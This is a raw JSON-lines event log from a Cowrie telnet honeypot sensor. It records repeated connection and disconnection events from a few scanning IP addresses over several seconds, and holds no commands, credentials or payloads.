{"eventid":"cowrie.session.closed","duration":30.21640944480896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.523716Z","src_ip":"168.119.91.149","session":"4faba8b7c860","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49524,"dst_ip":"159.203.135.109","dst_port":23,"session":"80615b0ff75a","protocol":"telnet","message":"New connection: 168.119.91.149:49524 (159.203.135.109:23) [session: 80615b0ff75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.648412Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":44994,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dc6e2ae2d02","protocol":"telnet","message":"New connection: 51.79.21.139:44994 (159.203.135.109:23) [session: 2dc6e2ae2d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.819262Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49530,"dst_ip":"159.203.135.109","dst_port":23,"session":"c43367816c5a","protocol":"telnet","message":"New connection: 168.119.91.149:49530 (159.203.135.109:23) [session: c43367816c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:04.038381Z"}
{"eventid":"cowrie.session.closed","duration":36.30932307243347,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:04.065547Z","src_ip":"69.65.3.189","session":"f5635be2e57e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.675163745880127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:04.122199Z","src_ip":"37.187.24.227","session":"7d3878d1f7c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":44996,"dst_ip":"159.203.135.109","dst_port":23,"session":"797e3ec19b03","protocol":"telnet","message":"New connection: 37.187.24.227:44996 (159.203.135.109:23) [session: 797e3ec19b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:04.182222Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":35868,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b20e515a433","protocol":"telnet","message":"New connection: 85.208.100.77:35868 (159.203.135.109:23) [session: 2b20e515a433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:04.277325Z"}
{"eventid":"cowrie.session.closed","duration":31.23567771911621,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:04.333966Z","src_ip":"147.135.136.77","session":"59737d22bb70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72233533859253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:04.401373Z","src_ip":"147.135.136.77","session":"029726cd3dfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.218127012252808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:04.513284Z","src_ip":"168.119.91.149","session":"aa920d15e82a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49538,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8797dba1b81","protocol":"telnet","message":"New connection: 168.119.91.149:49538 (159.203.135.109:23) [session: c8797dba1b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:04.597624Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49604,"dst_ip":"159.203.135.109","dst_port":23,"session":"75ab02f30a18","protocol":"telnet","message":"New connection: 168.119.91.149:49604 (159.203.135.109:23) [session: 75ab02f30a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:05.071120Z"}
{"eventid":"cowrie.session.closed","duration":30.475685119628906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:05.077993Z","src_ip":"147.135.136.77","session":"8a334a3b1f42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":48966,"dst_ip":"159.203.135.109","dst_port":23,"session":"c61057e6409d","protocol":"telnet","message":"New connection: 147.135.136.77:48966 (159.203.135.109:23) [session: c61057e6409d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:05.104262Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":47134,"dst_ip":"159.203.135.109","dst_port":23,"session":"6100afe72f19","protocol":"telnet","message":"New connection: 81.30.157.18:47134 (159.203.135.109:23) [session: 6100afe72f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:05.144253Z"}
{"eventid":"cowrie.session.closed","duration":31.08147692680359,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:05.189212Z","src_ip":"85.208.100.77","session":"c50bdb940c04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49620,"dst_ip":"159.203.135.109","dst_port":23,"session":"aae33c88e15c","protocol":"telnet","message":"New connection: 168.119.91.149:49620 (159.203.135.109:23) [session: aae33c88e15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:05.195418Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49626,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4ece7e79fc0","protocol":"telnet","message":"New connection: 168.119.91.149:49626 (159.203.135.109:23) [session: f4ece7e79fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:05.376042Z"}
{"eventid":"cowrie.session.closed","duration":30.363274335861206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:05.512448Z","src_ip":"168.119.91.149","session":"46230a44007b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":48986,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6d74b784874","protocol":"telnet","message":"New connection: 147.135.136.77:48986 (159.203.135.109:23) [session: c6d74b784874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:05.558586Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":48960,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ef0a2da6dd8","protocol":"telnet","message":"New connection: 147.135.136.77:48960 (159.203.135.109:23) [session: 4ef0a2da6dd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:05.708302Z"}
{"eventid":"cowrie.session.closed","duration":31.009106636047363,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:06.164573Z","src_ip":"81.30.157.18","session":"fbca64f6b684","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49650,"dst_ip":"159.203.135.109","dst_port":23,"session":"85b622bcf250","protocol":"telnet","message":"New connection: 168.119.91.149:49650 (159.203.135.109:23) [session: 85b622bcf250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:06.185853Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":47734,"dst_ip":"159.203.135.109","dst_port":23,"session":"f38a7caa4eda","protocol":"telnet","message":"New connection: 37.187.24.227:47734 (159.203.135.109:23) [session: f38a7caa4eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:06.289509Z"}
{"eventid":"cowrie.session.closed","duration":30.842363357543945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:06.387519Z","src_ip":"209.126.84.114","session":"643fe7ab97d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.284844875335693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:06.465484Z","src_ip":"168.119.91.149","session":"527028169963","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.809024333953857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:06.507861Z","src_ip":"168.119.91.149","session":"1d4811ea2c3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.435301542282104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:06.520062Z","src_ip":"168.119.91.149","session":"54b0480da2fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.934242725372314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:06.597511Z","src_ip":"168.119.91.149","session":"885ce3cd4e6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.464165925979614,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:06.716168Z","src_ip":"147.135.136.77","session":"57553aa81d1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.347137212753296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:07.109776Z","src_ip":"81.30.157.18","session":"92edb65291c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.024893522262573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:07.116438Z","src_ip":"81.30.157.18","session":"c4e1eaccd73b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.933330535888672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:07.133888Z","src_ip":"81.30.157.18","session":"a8f92e7deed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":37580,"dst_ip":"159.203.135.109","dst_port":23,"session":"754230eb0cee","protocol":"telnet","message":"New connection: 147.135.136.77:37580 (159.203.135.109:23) [session: 754230eb0cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:07.155149Z"}
{"eventid":"cowrie.session.closed","duration":30.767815113067627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:07.165673Z","src_ip":"81.30.157.18","session":"cb1e3ca00703","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.650951862335205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:07.201732Z","src_ip":"37.187.24.227","session":"4223100ff4b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49712,"dst_ip":"159.203.135.109","dst_port":23,"session":"089cdfc432ef","protocol":"telnet","message":"New connection: 168.119.91.149:49712 (159.203.135.109:23) [session: 089cdfc432ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:07.360684Z"}
{"eventid":"cowrie.session.closed","duration":31.881524562835693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:07.379670Z","src_ip":"168.119.91.149","session":"03b5dff38eea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":47156,"dst_ip":"159.203.135.109","dst_port":23,"session":"63cfe110a33f","protocol":"telnet","message":"New connection: 81.30.157.18:47156 (159.203.135.109:23) [session: 63cfe110a33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:07.410359Z"}
{"eventid":"cowrie.session.closed","duration":30.303105115890503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:07.475095Z","src_ip":"168.119.91.149","session":"d7bd31ea1d2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.290348052978516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:07.479018Z","src_ip":"168.119.91.149","session":"4cb57fbdba65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.405800819396973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:07.543046Z","src_ip":"168.119.91.149","session":"ad4bcc66dd2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49728,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0a1a537299d","protocol":"telnet","message":"New connection: 168.119.91.149:49728 (159.203.135.109:23) [session: c0a1a537299d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:07.550171Z"}
{"eventid":"cowrie.session.closed","duration":30.56060028076172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:07.645015Z","src_ip":"168.119.91.149","session":"af4758b0e4ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":54026,"dst_ip":"159.203.135.109","dst_port":23,"session":"16ca003883a5","protocol":"telnet","message":"New connection: 37.187.24.227:54026 (159.203.135.109:23) [session: 16ca003883a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:07.656898Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":37644,"dst_ip":"159.203.135.109","dst_port":23,"session":"099b592eeaff","protocol":"telnet","message":"New connection: 147.135.136.77:37644 (159.203.135.109:23) [session: 099b592eeaff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.040679Z"}
{"eventid":"cowrie.session.closed","duration":31.10196328163147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.059247Z","src_ip":"81.30.157.18","session":"de9495ac1208","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":47208,"dst_ip":"159.203.135.109","dst_port":23,"session":"e569286275d4","protocol":"telnet","message":"New connection: 81.30.157.18:47208 (159.203.135.109:23) [session: e569286275d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.067423Z"}
{"eventid":"cowrie.session.closed","duration":30.77997088432312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.076552Z","src_ip":"147.135.136.77","session":"9139307e1865","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":47218,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ae4e59be8e4","protocol":"telnet","message":"New connection: 81.30.157.18:47218 (159.203.135.109:23) [session: 3ae4e59be8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.096051Z"}
{"eventid":"cowrie.session.closed","duration":30.269476890563965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.102671Z","src_ip":"147.135.136.77","session":"db490c9d3d9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":37646,"dst_ip":"159.203.135.109","dst_port":23,"session":"42b19c85a2bf","protocol":"telnet","message":"New connection: 147.135.136.77:37646 (159.203.135.109:23) [session: 42b19c85a2bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.115305Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49772,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b4b664c7c07","protocol":"telnet","message":"New connection: 168.119.91.149:49772 (159.203.135.109:23) [session: 4b4b664c7c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.138543Z"}
{"eventid":"cowrie.session.closed","duration":30.766372203826904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.145109Z","src_ip":"147.135.136.77","session":"74fe95be4466","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":46438,"dst_ip":"159.203.135.109","dst_port":23,"session":"964f9a50d5ca","protocol":"telnet","message":"New connection: 149.102.133.101:46438 (159.203.135.109:23) [session: 964f9a50d5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.242188Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":47226,"dst_ip":"159.203.135.109","dst_port":23,"session":"7106f7eefecc","protocol":"telnet","message":"New connection: 81.30.157.18:47226 (159.203.135.109:23) [session: 7106f7eefecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.398916Z"}
{"eventid":"cowrie.session.closed","duration":30.173017263412476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.502079Z","src_ip":"168.119.91.149","session":"7e250db5c9b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":59168,"dst_ip":"159.203.135.109","dst_port":23,"session":"86148436b90d","protocol":"telnet","message":"New connection: 46.101.32.143:59168 (159.203.135.109:23) [session: 86148436b90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.590071Z"}
{"eventid":"cowrie.session.closed","duration":30.45094895362854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.632674Z","src_ip":"168.119.91.149","session":"866edf7db65a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49812,"dst_ip":"159.203.135.109","dst_port":23,"session":"b772315f1f31","protocol":"telnet","message":"New connection: 168.119.91.149:49812 (159.203.135.109:23) [session: b772315f1f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.677242Z"}
{"eventid":"cowrie.session.closed","duration":30.652249574661255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:08.693085Z","src_ip":"168.119.91.149","session":"0dca5da4dab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":54402,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8e31b99f032","protocol":"telnet","message":"New connection: 168.119.91.149:54402 (159.203.135.109:23) [session: f8e31b99f032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:09.223973Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":47232,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c797bd4c64e","protocol":"telnet","message":"New connection: 81.30.157.18:47232 (159.203.135.109:23) [session: 3c797bd4c64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:09.335870Z"}
{"eventid":"cowrie.session.closed","duration":31.042938947677612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:09.375935Z","src_ip":"168.119.91.149","session":"fc59b602bbca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":37654,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb3c377d12d2","protocol":"telnet","message":"New connection: 147.135.136.77:37654 (159.203.135.109:23) [session: eb3c377d12d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:09.480908Z"}
{"eventid":"cowrie.session.closed","duration":30.31814956665039,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:09.505156Z","src_ip":"168.119.91.149","session":"f8105a78c558","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.350169897079468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:09.533170Z","src_ip":"168.119.91.149","session":"88eb6c15713d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.495340585708618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:09.620885Z","src_ip":"51.79.21.139","session":"56957d131592","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.699050664901733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:09.785291Z","src_ip":"147.135.136.77","session":"a083e4565f35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.962448835372925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:10.022684Z","src_ip":"51.79.21.139","session":"9e357dd382fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.930595636367798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:10.030574Z","src_ip":"51.79.21.139","session":"f6919c9d6781","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":47262,"dst_ip":"159.203.135.109","dst_port":23,"session":"78b3c4b03067","protocol":"telnet","message":"New connection: 81.30.157.18:47262 (159.203.135.109:23) [session: 78b3c4b03067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:10.076308Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":59012,"dst_ip":"159.203.135.109","dst_port":23,"session":"471b22f8fe3c","protocol":"telnet","message":"New connection: 37.187.24.227:59012 (159.203.135.109:23) [session: 471b22f8fe3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:10.116061Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":54432,"dst_ip":"159.203.135.109","dst_port":23,"session":"28895c3182be","protocol":"telnet","message":"New connection: 168.119.91.149:54432 (159.203.135.109:23) [session: 28895c3182be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:10.122793Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":59016,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bd697b0a49b","protocol":"telnet","message":"New connection: 37.187.24.227:59016 (159.203.135.109:23) [session: 2bd697b0a49b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:10.129375Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":37670,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a5f5c1f221b","protocol":"telnet","message":"New connection: 147.135.136.77:37670 (159.203.135.109:23) [session: 0a5f5c1f221b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:10.183154Z"}
{"eventid":"cowrie.session.closed","duration":31.056562185287476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:10.188902Z","src_ip":"147.135.136.77","session":"50355c89d79c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":54444,"dst_ip":"159.203.135.109","dst_port":23,"session":"b274ddd11580","protocol":"telnet","message":"New connection: 168.119.91.149:54444 (159.203.135.109:23) [session: b274ddd11580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:10.209267Z"}
{"eventid":"cowrie.session.closed","duration":30.468169450759888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:10.505972Z","src_ip":"168.119.91.149","session":"7d6d08d72306","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39916706085205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:10.512049Z","src_ip":"168.119.91.149","session":"f3a313ef6f74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.422887802124023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:10.529177Z","src_ip":"168.119.91.149","session":"8be568cc06cf","protocol":"telnet"}
